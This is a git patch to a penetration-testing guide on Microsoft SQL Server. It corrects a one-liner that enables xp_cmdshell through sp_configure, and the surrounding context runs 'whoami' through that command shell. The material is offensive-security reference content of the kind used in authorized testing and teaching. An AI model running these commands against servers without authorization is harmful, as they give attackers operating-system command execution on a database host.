From bb684265c2551a953ed84f234489e6cd3d5d54ac Mon Sep 17 00:00:00 2001 From: AgnellusX1 <43168803+AgnellusX1@users.noreply.github.com> Date: Sun, 9 Jun 2024 22:58:27 +0530 Subject: [PATCH] Update README.md Updating One-liner too fix syntax issue --- .../pentesting-mssql-microsoft-sql-server/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 7786e5349..174f00ae7 100644 --- a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -223,7 +223,7 @@ sp_configure 'xp_cmdshell', '1' RECONFIGURE #One liner -sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE; +EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; # Quickly check what the service account is via xp_cmdshell EXEC master..xp_cmdshell 'whoami'